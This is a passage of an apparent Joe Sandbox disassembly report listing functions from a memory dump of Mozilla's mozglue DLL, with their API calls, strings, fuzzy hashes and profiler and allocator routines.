Opcode ID: 3dc9a83f43f552dcaf22ba6f66cbe0a813a3ee4b079c02673abe2642e1ad7a41
Instruction ID: 96d1669424cde2b8d6835f79c8f3abcaafc6dcc1d4925fdca853dad14fe0b5f0
Opcode Fuzzy Hash: 3dc9a83f43f552dcaf22ba6f66cbe0a813a3ee4b079c02673abe2642e1ad7a41
Instruction Fuzzy Hash: C1F089757043849FEF006F65D84896EB7BDEB862ADF840415FA05D3B01DB754C05C765

Function 6CB1F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB1F598), ref: 6CB1F621

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1F637
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F645
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB1F62A

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 951b5a01389065cdda92a6244e4f5046984b7fc1be68252006be0793db8a96d1
Instruction ID: 54f342bb211d782462c164165bfc34c6f97be1f131ec9e009df453a5a6864313
Opcode Fuzzy Hash: 951b5a01389065cdda92a6244e4f5046984b7fc1be68252006be0793db8a96d1
Instruction Fuzzy Hash: BEF08275704384AFEF006F65D848AAABBBDEB8A2ADF840415FA05D3B41CB764C05CB75

Function 6CB105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CB0CFAE,?,?,?,6CAD31A7), ref: 6CB105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CB0CFAE,?,?,?,6CAD31A7), ref: 6CB10616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CAD31A7), ref: 6CB1061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CAD31A7), ref: 6CB10627

Strings

<jemalloc>, xrefs: 6CB105FA, 6CB1060F
: (malloc) Error in VirtualFree(), xrefs: 6CB1061B, 6CB10625

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: aec3797a53cb152ab92f35248fdacf5cde6c038a58ba0ba835b6625231e14e2d
Instruction ID: 4ca2ff03751c897311188b7f8921b97ac33b4f9aac7fc63901ad7eae4e1c3a23
Opcode Fuzzy Hash: aec3797a53cb152ab92f35248fdacf5cde6c038a58ba0ba835b6625231e14e2d
Instruction Fuzzy Hash: 9BE08CE2A0515037F5142256AC86DBB761DDBC6538F080039FD0D83301E95AAD1E61F6

Function 6CAE05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74eae203fccf25cce24fa0ec93f0b99c23304365e1ae95f0a3ac04cf9cac28e1
Instruction ID: a37897ad48856f16fd494389f66f5e0b1d6d08cbd3e441d1b0989cfd1cc3abe4
Opcode Fuzzy Hash: 74eae203fccf25cce24fa0ec93f0b99c23304365e1ae95f0a3ac04cf9cac28e1
Instruction Fuzzy Hash: D8A138B0A00645CFDB14CF29C594B9AFBF1BF49304F54866ED48A97B00EB70A995DF90

Function 6CB314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB314E2
GetCurrentThreadId.KERNEL32 ref: 6CB31546
InitializeConditionVariable.KERNEL32(?), ref: 6CB315BA
free.MOZGLUE(?), ref: 6CB316B4

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: daede5e9ba1526055539c3cd6f11ea29fcda25f6e8d281274f3a506a50af4759
Instruction ID: a6830df479d55ba2cb457206573ea7d993928a5827ebb7d081de66dc0df97b19
Opcode Fuzzy Hash: daede5e9ba1526055539c3cd6f11ea29fcda25f6e8d281274f3a506a50af4759
Instruction Fuzzy Hash: 1C610371A007949BDB118F21C880BEEB7B8FF89308F49951CED8A57701DB34E949CB92

Function 6CB2DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB2DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB2D38A,?), ref: 6CB2DC6F
free.MOZGLUE(?,?,?,?,?,6CB2D38A,?), ref: 6CB2DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB2D38A,?), ref: 6CB2DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB2D38A,?), ref: 6CB2DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB2D38A,?), ref: 6CB2DD4A

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 7b03e80abb32786effb1fb7bf33074ad55347ca31ad0912f0f10c0a263a4a2ba
Instruction ID: 1a2a695937b84f6cad00caa3d2188a382b331d051ab84d19fb4f73b399f0bf45
Opcode Fuzzy Hash: 7b03e80abb32786effb1fb7bf33074ad55347ca31ad0912f0f10c0a263a4a2ba
Instruction Fuzzy Hash: DE418D75A00615CFCB04CFA9D8809AEBBF5FF88314B554569D94AA7B10D735FC41CB90

Function 6CB16590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0FA80: GetCurrentThreadId.KERNEL32 ref: 6CB0FA8D
Part of subcall function 6CB0FA80: AcquireSRWLockExclusive.KERNEL32(6CB5F448), ref: 6CB0FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB16727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB167C8

Part of subcall function 6CB24290: memcpy.VCRUNTIME140(?,?,6CB32003,6CB30AD9,?,6CB30AD9,00000000,?,6CB30AD9,?,00000004,?,6CB31A62,?,6CB32003,?), ref: 6CB242C4

Strings

data, xrefs: 6CB16593

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 3cdc8bb839bc77594f70b8464506a0e22e13db428d5130475f72b2e1f263db06
Instruction ID: 0ffdcd56c23d30d122d0fe82fe84b9b72cb531103b7686232bad4b5e07821714
Opcode Fuzzy Hash: 3cdc8bb839bc77594f70b8464506a0e22e13db428d5130475f72b2e1f263db06
Instruction Fuzzy Hash: E1D1AF75A083808BD724DF25D851BAEBBE5EFD5308F10892DE58987B91DB30A849CB53

Function 6CB0D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CADEB57,?,?,?,?,?,?,?,?,?), ref: 6CB0D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CADEB57,?), ref: 6CB0D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CADEB57,?), ref: 6CB0D673
free.MOZGLUE(?), ref: 6CB0D888

Strings

|Enabled, xrefs: 6CB0D81E

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: b4630a2d7f972ddf8e07b6c138b9fcaac1f40cb734f85dea3eba2085e6852527
Instruction ID: 3b8fe5846bbc6d3b27e2489d7f63d8c802b6cd2cd5e9f005d4ce1cd508d1d3a3
Opcode Fuzzy Hash: b4630a2d7f972ddf8e07b6c138b9fcaac1f40cb734f85dea3eba2085e6852527
Instruction Fuzzy Hash: 5FA1D0B0A003858FDB11CF68D4907AEBFF1EF49318F58805CD899AB781D735A849CBA1

Function 6CB0F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CB0F480

Part of subcall function 6CADF100: LoadLibraryW.KERNEL32(shell32,?,6CB4D020), ref: 6CADF122
Part of subcall function 6CADF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CADF132

CloseHandle.KERNEL32(00000000), ref: 6CB0F555

Part of subcall function 6CAE14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAE1248,6CAE1248,?), ref: 6CAE14C9
Part of subcall function 6CAE14B0: memcpy.VCRUNTIME140(?,6CAE1248,00000000,?,6CAE1248,?), ref: 6CAE14EF

Part of subcall function 6CADEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CADEEE3

CreateFileW.KERNEL32 ref: 6CB0F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CB0F523

Strings

\oleacc.dll, xrefs: 6CB0F4CB

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 03561626bea0e251f0d3c3f162850e1fc73dceb2635f82654c5f836e4fe56ca0
Instruction ID: 6b9993fa5365864a049c41bd96603409858e4771028af93ad0228f1cd31d0b75
Opcode Fuzzy Hash: 03561626bea0e251f0d3c3f162850e1fc73dceb2635f82654c5f836e4fe56ca0
Instruction Fuzzy Hash: 9541B2307087909FE721DF28D985A9BBBF4EF44318F504A1CF59183650EB30E989CB96

Function 6CB374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB37526
__Init_thread_footer.LIBCMT ref: 6CB37566
__Init_thread_footer.LIBCMT ref: 6CB37597

Strings

kernel32.dll, xrefs: 6CB37557
UnmapViewOfFile2, xrefs: 6CB37552

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 565d340e6cd476fd02d423b28d93bea832594522e5b6fd34d1a221e5bfbed59b
Instruction ID: b47c3976392f64a9d7b7a573f562c2e7a339af7c4ed87ab437450319430f6411
Opcode Fuzzy Hash: 565d340e6cd476fd02d423b28d93bea832594522e5b6fd34d1a221e5bfbed59b
Instruction Fuzzy Hash: 7F2149357005D1EFCB188FE9C914E5E7775EB5A334F451528E40A67F80C770B811CAA6

Function 6CB3C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB3C0E9), ref: 6CB3C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB3C437
FreeLibrary.KERNEL32(?,6CB3C0E9), ref: 6CB3C44C

Strings

ntdll.dll, xrefs: 6CB3C413
NtQueryVirtualMemory, xrefs: 6CB3C431

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 53cf3975d7b3d1c1c09eb69606e4ac82c1d61bd8b7c882caf86f7fa7348233ed
Instruction ID: f92bcb3dfa6b433161a4ad25e3caf8b37cd3b4e66ecbb4330a3a40257e916b53
Opcode Fuzzy Hash: 53cf3975d7b3d1c1c09eb69606e4ac82c1d61bd8b7c882caf86f7fa7348233ed
Instruction Fuzzy Hash: FDE0B674706351DBDF007F71D908B15BBF8F706216F88961AAA0993700EBF2D4158B51

Function 6CB375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB3748B,?), ref: 6CB375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB375D7
FreeLibrary.KERNEL32(?,6CB3748B,?), ref: 6CB375EC

Strings

ntdll.dll, xrefs: 6CB375B3
RtlNtStatusToDosError, xrefs: 6CB375D1

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 02f1dabfedba7997ed6801c6ff389065f5c8f0c99295c0e2c1394741bf4fa081
Instruction ID: 06db0216b073315f6971d18f441214ebce5c3e416960dbd13a10ec623c956318
Opcode Fuzzy Hash: 02f1dabfedba7997ed6801c6ff389065f5c8f0c99295c0e2c1394741bf4fa081
Instruction Fuzzy Hash: 29E0B675700341EFEF046FA2D948702BBF8EB16218FA45429AE05E3680EBB09452CF51

Function 6CB37600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB37592), ref: 6CB37608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB37627
FreeLibrary.KERNEL32(?,6CB37592), ref: 6CB3763C

Strings

ntdll.dll, xrefs: 6CB37603
NtUnmapViewOfSection, xrefs: 6CB37621

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 81bf060845c48bb5aafeab9120d49ae4200569b4bcaeee6bb0fe96719da516a5
Instruction ID: 830d649348f9f602d9dd4a334031a68addcaa767baf07ed3f906a5fd60b00097
Opcode Fuzzy Hash: 81bf060845c48bb5aafeab9120d49ae4200569b4bcaeee6bb0fe96719da516a5
Instruction Fuzzy Hash: B7E0B6B4740381AFDF006FA6D908702BFB8F72A369F945919EA09E3740E7B090118F15

Function 6CB28E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?,6CB4D734), ref: 6CB28E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?,6CB4D734), ref: 6CB28EBF
free.MOZGLUE(?,?,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?), ref: 6CB28F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?,6CB4D734), ref: 6CB28F46
free.MOZGLUE(?,?,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?), ref: 6CB28F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?), ref: 6CB28F8F

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a7f443043d01c048e991652c1ad08e641d7011f9f43a939b443edb73e42ad820
Instruction ID: a82fae083d6782fb077753f6ff27a488b914cd33a0663dea5c07a764904d3c0e
Opcode Fuzzy Hash: a7f443043d01c048e991652c1ad08e641d7011f9f43a939b443edb73e42ad820
Instruction Fuzzy Hash: F151A5B2A012558FEF24CF54D8807AE77B6FF48314F19092AD51AAB740E736F905CB92

Function 6CAD4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAD4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAD4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAD4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAD4F1E

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 91d5da6a1abd9be33b62e365c95959dd912ddc02a32128297ef9e55b4a1e363e
Instruction ID: 680b7aa84bb9f189e9aa3814b273650ec0d6f89064e523ce7287b4da746d6454
Opcode Fuzzy Hash: 91d5da6a1abd9be33b62e365c95959dd912ddc02a32128297ef9e55b4a1e363e
Instruction Fuzzy Hash: 7D41CF71608702AFC705CF29C48099BBBF4BF89344F158A2DF4A597651DB30F998CB92

Function 6CAE1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE15E7
free.MOZGLUE(?,?,?,?,?,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE1637

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 6d3bf2b5de4cc72c8cc022a0dcba8f5512c1fbe512a818680255c874bb7a5085
Instruction ID: 1609c5432b4e081f50764baacd61cadcdb02039dc05cae18d66698ab6b0ffc27
Opcode Fuzzy Hash: 6d3bf2b5de4cc72c8cc022a0dcba8f5512c1fbe512a818680255c874bb7a5085
Instruction Fuzzy Hash: 0431F8B1A001248BCB148F7CD8504BE77E5BB893647290B2DE527DBBD5EB30D98497D1

Function 6CB3AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AD9D

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

